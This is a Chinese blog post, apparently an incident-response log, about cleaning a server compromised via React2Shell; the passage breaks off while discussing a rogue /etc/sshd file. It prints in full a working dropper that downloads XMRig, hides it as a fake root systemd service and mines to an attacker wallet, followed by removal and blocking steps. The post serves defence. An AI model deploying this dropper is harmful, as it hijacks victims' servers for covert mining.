{"id":6530,"date":"2025-12-26T11:50:54","date_gmt":"2025-12-26T03:50:54","guid":{"rendered":"https:\/\/dingxuan.info\/wp\/?p=6530"},"modified":"2025-12-26T11:50:54","modified_gmt":"2025-12-26T03:50:54","slug":"%e4%bf%ae%e5%a4%8dreact2shell%e6%bc%8f%e6%b4%9e%e5%af%bc%e8%87%b4%e6%9c%8d%e5%8a%a1%e5%99%a8%e6%9d%83%e9%99%90%e6%b3%84%e9%9c%b2-%e4%b9%8b%e4%b8%80","status":"publish","type":"post","link":"https:\/\/dingxuan.info\/wp\/?p=6530","title":{"rendered":"\u4fee\u590dReact2Shell\u6f0f\u6d1e\u5bfc\u81f4\u670d\u52a1\u5668\u6743\u9650\u6cc4\u9732 \u4e4b\u4e00"},"content":{"rendered":"<p>\u72b6\u51b5\u4e0e\u8fd9\u4e2a\u76f8\u540c\uff1a\n<a href=\"https:\/\/www.huntress.com\/blog\/peerblight-linux-backdoor-exploits-react2shell\">https:\/\/www.huntress.com\/blog\/peerblight-linux-backdoor-exploits-react2shell<\/a>\n\u5728\u4e0d\u80fd\u9a6c\u4e0a\u91cd\u88c5\u7cfb\u7edf\u65f6\uff0c\u68c0\u67e5\u548c\u4e34\u65f6\u4fee\u590d\u7684\u8bb0\u5f55\u5982\u4e0b<\/p>\n<h2 class=\"wp-block-heading\">\u4e00. \u53d1\u73b0\u6076\u610f\u811a\u672c<\/h2>\n<p>\u53d1\u73b0CPU\u5360\u7528\u8fc7\u9ad8\uff0c\u627e\u5230\u6076\u610f\u811a\u672c<\/p>\n<!--more-->\n<pre><code>#!\/bin\/bash\n\n# Configuration\nTAR_FILE=&quot;kal.tar.gz&quot;\nEXTRACT_DIR=&quot;xmrig-6.24.0&quot;\nSERVICE_NAME=&quot;system-update-service&quot;\nARGS=&quot;--url pool.supportxmr.com:8080 --user 85UXW36JS78ZzZUw4XRJ1mHEsMAc6vHr2hBU7rvRv9y44Uk4Vo9fyq6LFDuckHZb2HTZpcYYaDdd73jS1oywAndGJxmKP9X --pass test --donate-level 0&quot;\nSERVICE_FILE=&quot;\/etc\/systemd\/system\/${SERVICE_NAME}.service&quot;\n\n# Determine binary path based on privileges\nif [ &quot;$(id -u)&quot; -eq 0 ]; then\n&nbsp; &nbsp; INSTALL_DIR=&quot;\/usr\/share\/updater&quot;\n&nbsp; &nbsp; CONFIG_FILE=&quot;$INSTALL_DIR\/miner.conf&quot;\nelse\n&nbsp; &nbsp; INSTALL_DIR=&quot;$(pwd)&quot;\n&nbsp; &nbsp; CONFIG_FILE=&quot;$(pwd)\/miner.conf&quot;\nfi\n\nBINARY_PATH=&quot;$INSTALL_DIR\/$EXTRACT_DIR\/xmrig&quot;\n\n# Function to create\/update configuration file\nsave_config() {\n&nbsp; &nbsp; cat &gt; &quot;$CONFIG_FILE&quot; &lt;&lt;EOF\nBINARY_PATH=$BINARY_PATH\nARGS=$ARGS\nSERVICE_NAME=$SERVICE_NAME\nEOF\n&nbsp; &nbsp; echo &quot;[*] Configuration saved to $CONFIG_FILE&quot;\n}\n\n# Function to load configuration\nload_config() {\n&nbsp; &nbsp; if [ -f &quot;$CONFIG_FILE&quot; ]; then\n&nbsp; &nbsp; &nbsp; &nbsp; source &quot;$CONFIG_FILE&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[*] Configuration loaded from $CONFIG_FILE&quot;\n&nbsp; &nbsp; fi\n}\n\n# First, check if root and move existing installation from pwd to \/usr\/share\/updater\nif [ &quot;$(id -u)&quot; -eq 0 ] &amp;&amp; [ -d &quot;$(pwd)\/$EXTRACT_DIR&quot; ] &amp;&amp; [ ! -d &quot;$INSTALL_DIR\/$EXTRACT_DIR&quot; ]; then\n&nbsp; &nbsp; echo &quot;[*] Found existing installation in $(pwd). Moving to $INSTALL_DIR...&quot;\n&nbsp; &nbsp; mkdir -p &quot;$INSTALL_DIR&quot;\n&nbsp; &nbsp; mv &quot;$(pwd)\/$EXTRACT_DIR&quot; &quot;$INSTALL_DIR\/&quot; 2&gt;\/dev\/null || true\n&nbsp; &nbsp; if [ -f &quot;$(pwd)\/$TAR_FILE&quot; ]; then\n&nbsp; &nbsp; &nbsp; &nbsp; rm -f &quot;$(pwd)\/$TAR_FILE&quot;\n&nbsp; &nbsp; fi\n&nbsp; &nbsp; if [ -f &quot;$(pwd)\/miner.conf&quot; ]; then\n&nbsp; &nbsp; &nbsp; &nbsp; mv &quot;$(pwd)\/miner.conf&quot; &quot;$INSTALL_DIR\/miner.conf&quot; 2&gt;\/dev\/null || true\n&nbsp; &nbsp; fi\nfi\n\n# Check if already installed\nALREADY_INSTALLED=0\nif [ -f &quot;$BINARY_PATH&quot; ]; then\n&nbsp; &nbsp; ALREADY_INSTALLED=1\n&nbsp; &nbsp; echo &quot;[*] Installation detected. Loading existing configuration...&quot;\n&nbsp; &nbsp; load_config\nfi\n\n# Download and setup if not already present\nif [ ! -f &quot;$BINARY_PATH&quot; ]; then\n&nbsp; &nbsp; echo &quot;[*] Downloading xmrig...&quot;\n&nbsp; &nbsp; \n&nbsp; &nbsp; # Extract in temp location first\n&nbsp; &nbsp; TEMP_DIR=$(mktemp -d)\n&nbsp; &nbsp; cd &quot;$TEMP_DIR&quot;\n&nbsp; &nbsp; \n&nbsp; &nbsp; curl -L -o &quot;$TAR_FILE&quot; --user-agent &quot;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&quot; https:\/\/github.com\/xmrig\/xmrig\/releases\/download\/v6.24.0\/xmrig-6.24.0-linux-static-x64.tar.gz\n&nbsp; &nbsp; echo &quot;[*] Extracting archive...&quot;\n&nbsp; &nbsp; tar xvzf &quot;$TAR_FILE&quot;\n&nbsp; &nbsp; \n&nbsp; &nbsp; # Move to install directory if root\n&nbsp; &nbsp; if [ &quot;$(id -u)&quot; -eq 0 ]; then\n&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[*] Moving to $INSTALL_DIR...&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; mkdir -p &quot;$INSTALL_DIR&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; mv &quot;$EXTRACT_DIR&quot; &quot;$INSTALL_DIR\/&quot;\n&nbsp; &nbsp; else\n&nbsp; &nbsp; &nbsp; &nbsp; # For non-root, move to current directory\n&nbsp; &nbsp; &nbsp; &nbsp; cd - &gt; \/dev\/null\n&nbsp; &nbsp; &nbsp; &nbsp; mv &quot;$TEMP_DIR\/$EXTRACT_DIR&quot; &quot;$(pwd)\/$EXTRACT_DIR&quot;\n&nbsp; &nbsp; fi\n&nbsp; &nbsp; \n&nbsp; &nbsp; rm -rf &quot;$TEMP_DIR&quot;\n&nbsp; &nbsp; save_config\nelse\n&nbsp; &nbsp; echo &quot;[*] Binary already exists at $BINARY_PATH&quot;\nfi\n\nchmod +x &quot;$BINARY_PATH&quot;\n\n# If already installed, update systemd service if it exists\nif [ $ALREADY_INSTALLED -eq 1 ]; then\n&nbsp; &nbsp; echo &quot;[*] Updating existing installation...&quot;\n&nbsp; &nbsp; \n&nbsp; &nbsp; # Check if service exists and update it\n&nbsp; &nbsp; if [ -f &quot;$SERVICE_FILE&quot; ]; then\n&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[*] Found existing systemd service. Updating...&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; \n&nbsp; &nbsp; &nbsp; &nbsp; # Stop the service before updating\n&nbsp; &nbsp; &nbsp; &nbsp; if systemctl is-active --quiet &quot;$SERVICE_NAME&quot;; then\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[*] Stopping service...&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; systemctl stop &quot;$SERVICE_NAME&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; fi\n&nbsp; &nbsp; &nbsp; &nbsp; \n&nbsp; &nbsp; &nbsp; &nbsp; # Update service with new arguments\n&nbsp; &nbsp; &nbsp; &nbsp; cat &lt;&lt;EOF &gt; &quot;$SERVICE_FILE&quot;\n[Unit]\nDescription=System Update Service\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=${BINARY_PATH} ${ARGS}\nRestart=always\nRestartSec=10\nUser=root\n\n[Install]\nWantedBy=multi-user.target\nEOF\n&nbsp; &nbsp; &nbsp; &nbsp; \n&nbsp; &nbsp; &nbsp; &nbsp; systemctl daemon-reload\n&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[*] Service configuration updated&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; \n&nbsp; &nbsp; &nbsp; &nbsp; # Restart the service\n&nbsp; &nbsp; &nbsp; &nbsp; systemctl start &quot;$SERVICE_NAME&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; \n&nbsp; &nbsp; &nbsp; &nbsp; if systemctl is-active --quiet &quot;$SERVICE_NAME&quot;; then\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[+] Service restarted successfully&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; fi\n&nbsp; &nbsp; else\n&nbsp; &nbsp; &nbsp; &nbsp; # Service doesn&#039;t exist yet, continue with normal installation\n&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[*] No systemd service found. Proceeding with initial setup...&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; ALREADY_INSTALLED=0\n&nbsp; &nbsp; fi\nfi\n\n# Attempt systemd setup (for new installations)\nif [ $ALREADY_INSTALLED -eq 0 ]; then\n&nbsp; &nbsp; INSTALLED_SYSTEMD=0\n&nbsp; &nbsp; if [ &quot;$(id -u)&quot; -eq 0 ] &amp;&amp; command -v systemctl &gt;\/dev\/null 2&gt;&amp;1; then\n&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[*] Root privileges detected. Attempting systemd setup...&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; \n&nbsp; &nbsp; &nbsp; &nbsp; cat &lt;&lt;EOF &gt; &quot;$SERVICE_FILE&quot;\n[Unit]\nDescription=System Update Service\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=${BINARY_PATH} ${ARGS}\nRestart=always\nRestartSec=10\nUser=root\n\n[Install]\nWantedBy=multi-user.target\nEOF\n\n&nbsp; &nbsp; &nbsp; &nbsp; systemctl daemon-reload\n&nbsp; &nbsp; &nbsp; &nbsp; systemctl enable &quot;$SERVICE_NAME&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; systemctl start &quot;$SERVICE_NAME&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; \n&nbsp; &nbsp; &nbsp; &nbsp; if systemctl is-active --quiet &quot;$SERVICE_NAME&quot;; then\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[+] Service started via systemd.&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; INSTALLED_SYSTEMD=1\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; save_config\n&nbsp; &nbsp; &nbsp; &nbsp; fi\n&nbsp; &nbsp; fi\n\n&nbsp; &nbsp; # Fallback to nohup\n&nbsp; &nbsp; if [ $INSTALLED_SYSTEMD -eq 0 ]; then\n&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[*] Starting with nohup...&quot;\n&nbsp; &nbsp; &nbsp; &nbsp; nohup &quot;$BINARY_PATH&quot; $ARGS &gt;\/dev\/null 2&gt;&amp;1 &amp;\n&nbsp; &nbsp; &nbsp; &nbsp; save_config\n&nbsp; &nbsp; fi\nfi\n<\/code><\/pre>\n<p>\u8fd9\u4e2a\u811a\u672c\u4f1a\u5728\u670d\u52a1\u5668\u4e0a\u5b89\u88c5\u5e76\u8fd0\u884c <strong>XMRig<\/strong>\uff08\u4e00\u79cd\u5e38\u89c1\u7684\u95e8\u7f57\u5e01\/Monero \u6316\u77ff\u8f6f\u4ef6\uff09\uff0c\u5e76\u8bd5\u56fe\u901a\u8fc7\u4f2a\u88c5\u6210\u7cfb\u7edf\u670d\u52a1\u6765\u9690\u85cf\u81ea\u5df1\u3002<\/p>\n<p>\u4ee5\u4e0b\u662f\u8be5\u811a\u672c\u5bf9\u4f60\u7cfb\u7edf\u7684\u5177\u4f53\u5f71\u54cd\u5206\u6790\uff0c\u4ee5\u53ca\u5f7b\u5e95\u6e05\u9664\u5b83\u7684\u6b65\u9aa4\u3002<\/p>\n<h3 class=\"wp-block-heading\">1.1. \u811a\u672c\u884c\u4e3a\u5206\u6790 (\u5b83\u505a\u4e86\u4ec0\u4e48\uff1f)<\/h3>\n<ul>\n<li><strong>\u4f2a\u88c5\u6027\uff1a<\/strong> \u5b83\u5c06\u81ea\u5df1\u547d\u540d\u4e3a <code>system-update-service<\/code>\uff08\u7cfb\u7edf\u66f4\u65b0\u670d\u52a1\uff09\uff0c\u8bd5\u56fe\u8ba9\u4f60\u5728\u68c0\u67e5\u7cfb\u7edf\u670d\u52a1\u65f6\u4ee5\u4e3a\u5b83\u662f\u5408\u6cd5\u7684\u7cfb\u7edf\u8fdb\u7a0b\u3002<\/li>\n<li><strong>\u8d44\u6e90\u6d88\u8017\uff1a<\/strong> \u5b83\u4e0b\u8f7d\u5e76\u8fd0\u884c <code>xmrig<\/code>\u3002\u8fd9\u4f1a\u5360\u7528\u4f60\u670d\u52a1\u5668 <strong>100% \u7684 CPU \u8d44\u6e90<\/strong>\uff0c\u5bfc\u81f4\u670d\u52a1\u5668\u53d8\u5f97\u6781\u6162\u3001\u5361\u987f\uff0c\u751a\u81f3\u56e0\u8fc7\u70ed\u800c\u5b95\u673a\u3002<\/li>\n<li><strong>\u6301\u4e45\u5316\uff08\u5f00\u673a\u81ea\u542f\uff09\uff1a<\/strong>\n<ul>\n<li>\u5982\u679c\u4f60\u662f <code>root<\/code> \u7528\u6237\uff1a\u5b83\u4f1a\u5728 <code>\/etc\/systemd\/system\/<\/code> \u4e0b\u521b\u5efa\u4e00\u4e2a\u670d\u52a1\u6587\u4ef6\uff0c\u786e\u4fdd\u6bcf\u6b21\u670d\u52a1\u5668\u91cd\u542f\u540e\uff0c\u6316\u77ff\u7a0b\u5e8f\u90fd\u4f1a\u81ea\u52a8\u8fd0\u884c\u3002<\/li>\n<li>\u5982\u679c\u4e0d\u662f <code>root<\/code> \u7528\u6237\uff1a\u5b83\u4f1a\u4f7f\u7528 <code>nohup<\/code> \u5728\u540e\u53f0\u9759\u9ed8\u8fd0\u884c\u3002<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u5b89\u88c5\u4f4d\u7f6e\uff1a<\/strong>\n<ul>\n<li><strong>Root \u7528\u6237\uff1a<\/strong> \u6587\u4ef6\u88ab\u9690\u85cf\u5728 <code>\/usr\/share\/updater\/<\/code> \u76ee\u5f55\u4e0b\u3002<\/li>\n<li><strong>\u666e\u901a\u7528\u6237\uff1a<\/strong> \u6587\u4ef6\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u3002<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u6316\u77ff\u914d\u7f6e\uff1a<\/strong> \u5b83\u8fde\u63a5\u5230 <code>pool.supportxmr.com<\/code> \u77ff\u6c60\uff0c\u5e76\u5c06\u6316\u5230\u7684\u52a0\u5bc6\u8d27\u5e01\u53d1\u9001\u5230\u653b\u51fb\u8005\u7684\u94b1\u5305\u5730\u5740\uff08\u811a\u672c\u4e2d\u7684 <code>85UXW...<\/code>\uff09\u3002<\/li>\n<\/ul>\n<hr \/>\n<h3 class=\"wp-block-heading\">1.2. \u6e05\u9664\u6b65\u9aa4<\/h3>\n<p>\u8bf7\u6309\u7167\u4ee5\u4e0b\u987a\u5e8f\u5728\u7ec8\u7aef\u4e2d\u6267\u884c\u547d\u4ee4\u3002\u5efa\u8bae\u4f7f\u7528 <code>root<\/code> \u6743\u9650\u6216 <code>sudo<\/code> \u6267\u884c\u3002<\/p>\n<h4 class=\"wp-block-heading\">\u7b2c\u4e00\u6b65\uff1a\u505c\u6b62\u5e76\u5220\u9664\u6076\u610f\u670d\u52a1<\/h4>\n<p>\u5982\u679c\u811a\u672c\u662f\u4ee5 root \u6743\u9650\u8fd0\u884c\u7684\uff0c\u5b83\u6ce8\u518c\u4e86\u7cfb\u7edf\u670d\u52a1\u3002\u6211\u4eec\u9700\u8981\u5148\u505c\u6b62\u5b83\u3002<\/p>\n<pre><code class=\"language-bash\"># \u505c\u6b62\u4f2a\u88c5\u7684\u670d\u52a1\nsudo systemctl stop system-update-service\n\n# \u7981\u6b62\u5f00\u673a\u81ea\u542f\nsudo systemctl disable system-update-service\n\n# \u5220\u9664\u670d\u52a1\u914d\u7f6e\u6587\u4ef6\nsudo rm \/etc\/systemd\/system\/system-update-service.service\n\n# \u91cd\u8f7d\u7cfb\u7edf\u670d\u52a1\u914d\u7f6e\nsudo systemctl daemon-reload\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">\u7b2c\u4e8c\u6b65\uff1a\u6740\u6b7b\u6240\u6709\u76f8\u5173\u8fdb\u7a0b<\/h4>\n<p>\u5373\u4f7f\u670d\u52a1\u505c\u6b62\u4e86\uff0c\u540e\u53f0\u53ef\u80fd\u8fd8\u6709\u6b8b\u7559\u8fdb\u7a0b\uff08\u7279\u522b\u662f\u5982\u679c\u5b83\u901a\u8fc7 nohup \u8fd0\u884c\u7684\u8bdd\uff09\u3002<\/p>\n<pre><code class=\"language-bash\"># \u5f3a\u5236\u6740\u585e\u540d\u4e3a xmrig \u7684\u8fdb\u7a0b\nsudo pkill -9 xmrig\n\n# \u518d\u6b21\u68c0\u67e5\u662f\u5426\u8fd8\u6709\u5360\u7528\u9ad8 CPU \u7684\u8fdb\u7a0b\ntop\n# (\u6309 &#039;q&#039; \u9000\u51fa top)\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">\u7b2c\u4e09\u6b65\uff1a\u5220\u9664\u6076\u610f\u6587\u4ef6<\/h4>\n<p>\u6839\u636e\u811a\u672c\u903b\u8f91\uff0c\u6587\u4ef6\u53ef\u80fd\u5b58\u5728\u4e8e\u4e24\u4e2a\u4f4d\u7f6e\u3002\u6211\u4eec\u9700\u8981\u5168\u90e8\u6e05\u7406\u3002<\/p>\n<pre><code class=\"language-bash\"># 1. \u6e05\u7406 Root \u5b89\u88c5\u76ee\u5f55 (\u811a\u672c\u4e2d\u5b9a\u4e49\u7684 INSTALL_DIR)\nsudo rm -rf \/usr\/share\/updater\n\n# 2. \u6e05\u7406\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6b8b\u7559 (\u5982\u679c\u4f60\u662f\u5728\u67d0\u4e2a\u7279\u5b9a\u76ee\u5f55\u4e0b\u53d1\u73b0\u8fd9\u4e2a\u811a\u672c\u7684)\n# \u6ce8\u610f\uff1a\u8bf7\u786e\u4fdd\u4f60\u5728\u53d1\u73b0\u8be5\u811a\u672c\u7684\u76ee\u5f55\u4e0b\u6267\u884c\uff0c\u6216\u8005\u624b\u52a8\u68c0\u67e5\u8be5\u76ee\u5f55\nrm -rf xmrig-6.24.0\nrm -f kal.tar.gz\nrm -f miner.conf\nrm -f xmrig\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">\u7b2c\u56db\u6b65\uff1a\u68c0\u67e5\u5b9a\u65f6\u4efb\u52a1 (Crontab)<\/h4>\n<p>\u5f88\u591a\u6b64\u7c7b\u811a\u672c\u4f1a\u901a\u8fc7\u5b9a\u65f6\u4efb\u52a1\uff08Crontab\uff09\u6765\u201c\u590d\u6d3b\u201d\u3002\u5982\u679c\u5b83\u53d1\u73b0\u8fdb\u7a0b\u88ab\u6740\u4e86\uff0c\u4f1a\u91cd\u65b0\u4e0b\u8f7d\u8fd0\u884c\u3002<\/p>\n<pre><code class=\"language-bash\"># \u68c0\u67e5 root \u7528\u6237\u7684\u5b9a\u65f6\u4efb\u52a1\nsudo crontab -l\n\n# \u68c0\u67e5\u5f53\u524d\u7528\u6237\u7684\u5b9a\u65f6\u4efb\u52a1\ncrontab -l\n<\/code><\/pre>\n<p><strong>\u5982\u679c\u770b\u5230\u4efb\u4f55\u53ef\u7591\u7684\u3001\u5e26\u6709 <code>curl<\/code>\u3001<code>wget<\/code> \u6216\u6307\u5411\u8be5\u811a\u672c\u8def\u5f84\u7684\u4efb\u52a1\uff0c\u8bf7\u4f7f\u7528 <code>crontab -e<\/code> \u547d\u4ee4\u8fdb\u5165\u7f16\u8f91\u6a21\u5f0f\u5e76\u5220\u9664\u90a3\u4e00\u884c\u3002<\/strong><\/p>\n<hr \/>\n<h3 class=\"wp-block-heading\">1.3. \u5b89\u5168\u8b66\u544a\u4e0e\u540e\u7eed\u5efa\u8bae (\u975e\u5e38\u91cd\u8981)<\/h3>\n<p><strong>\u8fd9\u4e2a\u811a\u672c\u51fa\u73b0\u5728\u670d\u52a1\u5668\u4e0a\uff0c\u610f\u5473\u7740\u670d\u52a1\u5668\u5df2\u7ecf\u88ab\u5165\u4fb5\u4e86\u3002<\/strong> \u4ec5\u4ec5\u5220\u9664\u811a\u672c\u53ef\u80fd\u53ea\u662f\u6cbb\u6807\u4e0d\u6cbb\u672c\u3002<\/p>\n<p>\u653b\u51fb\u8005\u901a\u5e38\u901a\u8fc7\u4ee5\u4e0b\u65b9\u5f0f\u8fdb\u5165\uff1a<\/p>\n<ol>\n<li><strong>\u5f31\u5bc6\u7801\uff1a<\/strong> SSH \u5bc6\u7801\u592a\u7b80\u5355\uff0c\u88ab\u66b4\u529b\u7834\u89e3\u3002<\/li>\n<li><strong>\u6f0f\u6d1e\uff1a<\/strong> \u670d\u52a1\u5668\u4e0a\u7684\u67d0\u4e2a\u8f6f\u4ef6\uff08\u5982 Redis, Docker, Web\u670d\u52a1\uff09\u5b58\u5728\u672a\u4fee\u590d\u7684\u6f0f\u6d1e\u3002<\/li>\n<li><strong>\u6cc4\u9732\u7684\u5bc6\u94a5\uff1a<\/strong> \u4f60\u7684 SSH \u5bc6\u94a5\u53ef\u80fd\u5df2\u6cc4\u9732\u3002<\/li>\n<\/ol>\n<p><strong>\u5efa\u8bae\u7acb\u5373\u91c7\u53d6\u4ee5\u4e0b\u63aa\u65bd\uff1a<\/strong><\/p>\n<ol>\n<li><strong>\u4fee\u6539\u5bc6\u7801\uff1a<\/strong> \u7acb\u5373\u4fee\u6539\u670d\u52a1\u5668\u7684 <code>root<\/code> \u5bc6\u7801\u548c\u6240\u6709\u7528\u6237\u5bc6\u7801\u3002<\/li>\n<li><strong>\u68c0\u67e5 SSH \u6388\u6743\uff1a<\/strong> \u67e5\u770b <code>~\/.ssh\/authorized_keys<\/code> \u6587\u4ef6\u3002\n<ul>\n<li>\u8fd0\u884c <code>cat ~\/.ssh\/authorized_keys<\/code>\u3002<\/li>\n<li><strong>\u5982\u679c\u53d1\u73b0\u4efb\u4f55\u4f60\u4e0d\u8ba4\u8bc6\u7684\u516c\u94a5\uff0c\u7acb\u5373\u5220\u9664\uff01<\/strong> \u8fd9\u662f\u9ed1\u5ba2\u7559\u4e0b\u7684\u540e\u95e8\uff0c\u65b9\u4fbf\u4ed6\u4eec\u65e0\u9700\u5bc6\u7801\u518d\u6b21\u767b\u5f55\u3002<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u914d\u7f6e\u9632\u706b\u5899\uff1a<\/strong> \u786e\u4fdd\u53ea\u5f00\u653e\u5fc5\u8981\u7684\u7aef\u53e3\uff08\u5982 80, 443\uff09\uff0c\u9650\u5236 SSH (22) \u7aef\u53e3\u7684\u8bbf\u95ee\u6765\u6e90\u3002<\/li>\n<li><strong>\u6700\u5b89\u5168\u7684\u505a\u6cd5\uff1a<\/strong> \u5982\u679c\u670d\u52a1\u5668\u4e0a\u6709\u91cd\u8981\u6570\u636e\uff0c<strong>\u5907\u4efd\u6570\u636e\u540e\uff0c\u91cd\u88c5\u7cfb\u7edf<\/strong>\u3002\u56e0\u4e3a\u4f60\u65e0\u6cd5\u786e\u5b9a\u653b\u51fb\u8005\u662f\u5426\u7559\u4e0b\u4e86\u5176\u4ed6\u66f4\u9690\u853d\u7684\u540e\u95e8\uff08\u5982\u66ff\u6362\u4e86\u7cfb\u7edf\u4e8c\u8fdb\u5236\u6587\u4ef6\uff09\u3002<\/li>\n<\/ol>\n<h2 class=\"wp-block-heading\">\u4e8c. \u4fee\u6539\u4f7f\u7528hosts\u6587\u4ef6\uff0c\u5c4f\u853d supportxmr.com<\/h2>\n<h3 class=\"wp-block-heading\">2.1. \u8ffd\u52a0\u89c4\u5219<\/h3>\n<p>\u4f60\u53ef\u4ee5\u76f4\u63a5\u590d\u5236\u4ee5\u4e0b\u547d\u4ee4\u5728\u7ec8\u7aef\u8fd0\u884c\uff0c\u8fd9\u4f1a\u81ea\u52a8\u5c06\u5c4f\u853d\u89c4\u5219\u8ffd\u52a0\u5230 hosts \u6587\u4ef6\u672b\u5c3e\uff1a<\/p>\n<pre><code class=\"language-bash\"># \u5c4f\u853d\u4e3b\u57df\u540d\u548c\u811a\u672c\u4e2d\u4f7f\u7528\u7684\u5b50\u57df\u540d\necho &quot;127.0.0.1 pool.supportxmr.com&quot; | sudo tee -a \/etc\/hosts\necho &quot;127.0.0.1 supportxmr.com&quot; | sudo tee -a \/etc\/hosts\n<\/code><\/pre>\n<h3 class=\"wp-block-heading\">2.2. \u9a8c\u8bc1\u662f\u5426\u751f\u6548<\/h3>\n<p>\u6dfb\u52a0\u5b8c\u6210\u540e\uff0c\u4f60\u53ef\u4ee5\u5c1d\u8bd5 <code>ping<\/code> \u8fd9\u4e2a\u57df\u540d\u3002\u5982\u679c\u5b83\u8fd4\u56de\u7684\u662f <code>127.0.0.1<\/code>\uff0c\u8bf4\u660e\u5c4f\u853d\u6210\u529f\u3002<\/p>\n<pre><code class=\"language-bash\">ping pool.supportxmr.com\n<\/code><\/pre>\n<p><strong>\u9884\u671f\u8f93\u51fa\u793a\u4f8b\uff1a<\/strong><\/p>\n<pre><code class=\"language-text\">PING pool.supportxmr.com (127.0.0.1) 56(84) bytes of data.\n64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.034 ms\n<\/code><\/pre>\n<p><em>(\u53ea\u8981\u770b\u5230 IP \u662f 127.0.0.1\uff0c\u5c31\u8bf4\u660e\u5b83\u65e0\u6cd5\u8fde\u63a5\u5230\u771f\u5b9e\u7684\u77ff\u6c60\u4e86)<\/em><\/p>\n<h3 class=\"wp-block-heading\">2.3. \u26a0\ufe0f \u91cd\u8981\u63d0\u793a<\/h3>\n<ol>\n<li><strong>\u8fd9\u53ea\u662f\u963b\u65ad\uff0c\u4e0d\u662f\u6e05\u9664\uff1a<\/strong> \u8fd9\u6837\u505a\u53ef\u4ee5\u9632\u6b62\u6570\u636e\u4f20\u8f93\u51fa\u53bb\uff0c\u4f46\u5982\u679c\u6316\u77ff\u8fdb\u7a0b\uff08<code>xmrig<\/code>\uff09\u8fd8\u5728\u8fd0\u884c\uff0c\u5b83\u4ecd\u7136\u4f1a\u5c1d\u8bd5\u4e0d\u65ad\u91cd\u8fde\uff0c\u8fd9\u4f9d\u7136\u53ef\u80fd\u5360\u7528\u4e00\u5b9a\u7684 CPU \u8d44\u6e90\uff08\u867d\u7136\u6bd4\u5168\u901f\u6316\u77ff\u8981\u4f4e\uff09\u3002<strong>\u8bf7\u52a1\u5fc5\u914d\u5408\u4e4b\u524d\u7684\u6e05\u9664\u6b65\u9aa4\uff0c\u5c06\u6076\u610f\u6587\u4ef6\u5f7b\u5e95\u5220\u9664\u3002<\/strong><\/li>\n<li><strong>DNS \u7f13\u5b58\uff1a<\/strong> \u6781\u5c11\u6570\u60c5\u51b5\u4e0b\uff0c\u7cfb\u7edf\u53ef\u80fd\u4f1a\u7f13\u5b58\u65e7\u7684 DNS \u7ed3\u679c\u3002\u5982\u679c\u4f60\u53d1\u73b0\u5b83\u8fd8\u5728\u8fde\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u91cd\u542f\u670d\u52a1\u5668\uff0c\u6216\u8005\u91cd\u542f\u7f51\u7edc\u670d\u52a1\u3002<\/li>\n<li><strong>\u5176\u4ed6\u77ff\u6c60\uff1a<\/strong> \u9ed1\u5ba2\u53ef\u80fd\u4f1a\u5728\u811a\u672c\u4e2d\u66f4\u6362\u5176\u4ed6\u77ff\u6c60\u5730\u5740\u3002\u4fee\u6539 hosts \u53ea\u80fd\u5c4f\u853d\u5f53\u524d\u5df2\u77e5\u7684\u8fd9\u4e2a\u5730\u5740\u3002\u6700\u6839\u672c\u7684\u89e3\u51b3\u529e\u6cd5\u8fd8\u662f\u4fee\u590d\u7cfb\u7edf\u6f0f\u6d1e\uff08\u5982\u52a0\u5f3a SSH \u5bc6\u7801\u3001\u914d\u7f6e\u9632\u706b\u5899\uff09\u3002<\/li>\n<\/ol>\n<h2 class=\"wp-block-heading\">\u4e09. \u6e05\u9664\u53ef\u6267\u884c\u6587\u4ef6\/etc\/sshd<\/h2>\n<p><strong><code>\/etc\/sshd<\/code> \u4e0d\u662f\u4e00\u4e2a\u5408\u6cd5\u7684 Linux \u7cfb\u7edf\u6587\u4ef6\u4f4d\u7f6e\u3002<\/strong><\/p>\n<p>\u6b63\u5e38\u7684 SSH \u670d\u52a1\u7a0b\u5e8f\u901a\u5e38\u4f4d\u4e8e <code>\/usr\/sbin\/sshd<\/code>\u3002\u4f4d\u4e8e <code>\/etc\/<\/code> \u76ee\u5f55\u4e0b\u7684\u901a\u5e38\u662f\u914d\u7f6e\u6587\u4ef6\uff08\u5982 <code>sshd_config<\/code>\uff09\uff0c\u800c\u4e0d\u5e94\u8be5\u662f\u53ef\u6267\u884c\u6587\u4ef6\u3002<\/p>\n<p><strong>\u7ed3\u8bba\uff1a\u8fd9\u4e2a <code>\/etc\/sshd<\/code> 